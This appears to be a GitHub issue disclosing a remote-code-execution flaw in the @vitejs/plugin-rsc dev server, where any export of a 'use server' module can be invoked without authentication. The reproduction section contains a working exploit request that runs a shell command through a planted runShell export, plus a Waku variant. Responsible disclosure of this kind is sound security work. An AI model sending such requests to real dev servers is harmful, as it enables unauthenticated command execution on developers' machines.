Repository navigation
[plugin-rsc] Dev server: unauthenticated invocation of arbitrary exports in 'use server' modules (no export-name validation in loadServerAction) #1424
Description
Disclosure draft: vitejs/vite-plugin-react (@vitejs/plugin-rsc)
Summary
@vitejs/plugin-rsc dev server allows unauthenticated remote invocation of any export of any module that contains a use server directive, because loadServerAction performs no export-name validation and the dev-mode module loader returns the full module namespace. This affects all frameworks built on plugin-rsc's RSC runtime (confirmed: Waku ≥0.24 / 1.0 betas; React Router v7 RSC mode; TanStack experimental RSC package) as well as direct plugin-rsc consumers.
Details
packages/plugin-rsc/src/core/rsc.ts:94-98:
export async function loadServerAction(id: string): Promise<Function> {
const [file, name] = id.split('#') as [string, string] // both fully attacker-controlled
const mod: any = await requireModule(file)
return mod[name]
}The dev-mode validation gate (plugin.ts:357-405, rsc:reference-validation) only checks that the file is (or can be transformed into) a server-reference module — and helpfully transforms-and-registers any workspace file containing a use server directive on demand (plugin.ts:381-394), so the target module does not even need to be routed/rendered. After the file-level check, rsc/shared.ts:6-13 does import(id) and the full namespace is returned; mod[name] then reaches any own export, including plain helper exports that are not actions at all (e.g. exports of a server-component file that merely contains one function-level 'use server').
Production builds are not affected: the build-time virtual:vite-rsc/server-references module (plugin.ts:2154-2174) destructures only the scanned action exports, and reference keys are hashed.
Module ids in dev are plain project paths (e.g. /src/actions.ts), visible in served pages/chunks and trivially guessable.
Reproduction (verified end-to-end, plugin-rsc starter example)
Target module src/poc-target.ts (never routed):
export async function targetAction() {
'use server'
return 'target-ok'
}
export async function runShell(cmd: string) { // plain export, NOT an action
const cp = await import('node:child_process')
return new Promise((r) => cp.exec(cmd, (e, so) => r(String(so))))
}Request (dev server):
POST /_.rsc HTTP/1.1
x-rsc-action: /src/poc-target.ts#runShell
Content-Type: text/plain
["touch /tmp/pwned"]Result: 200, file /tmp/pwned created — unauthenticated remote command execution (the runShell export stands in for the dangerous-helper pattern; even without such an export, the flaw exposes every "hidden" action/helper the app never shipped to clients).
Waku inheritance (also verified live, [email protected]): POST /RSC/F/_/src/poc-target.ts/runShell.txt with the same body — same result. Waku's decodeFuncId (waku/dist/lib/utils/rsc-path.js:40-55) performs zero validation.
Boundary (all verified): node: builtins, modules without a genuine directive (AST-level prologue detection), and files outside the workspace (isFileLoadingAllowed) are all rejected.
Impact
- Any developer running
vite dev/waku dev(which binds all interfaces by default) with a project that has any dangerous export in ause server-containing module is exposed to unauthenticated RCE by same-machine processes, LAN attackers, or drive-by browser attacks (no-Origin requests are accepted; Waku's only check is an Origin match that allows absent Origin). - Even absent dangerous exports, attackers can invoke actions/helpers the application never exposed to clients (authorization-bypass class).
An ecosystem sweep of 64 public dependent repos found no ready-made dangerous export in dispatchable modules; the issue is reported as a framework-level design flaw (the primitive), not as a claim of in-the-wild RCE.
Suggested fix
- Validate the full
file#namepair against the scanned server-reference registry in dev (same semantics as the production virtual module), e.g. haveload()return a view exposing only registered export names. - Consider gating the on-demand
transformRequestregistration fallback to modules already in the graph. - Frameworks (Waku/RR7): validate the decoded func id against the registry before dispatch.
Affected versions
@vitejs/plugin-rsc 0.4.x–0.5.x (verified on latest as of 2026-08-10); waku ≥0.24 / 1.0.0-beta.9 (verified). React Router v7 RSC mode and TanStack experimental RSC inherit the plugin-rsc dispatch.
Activity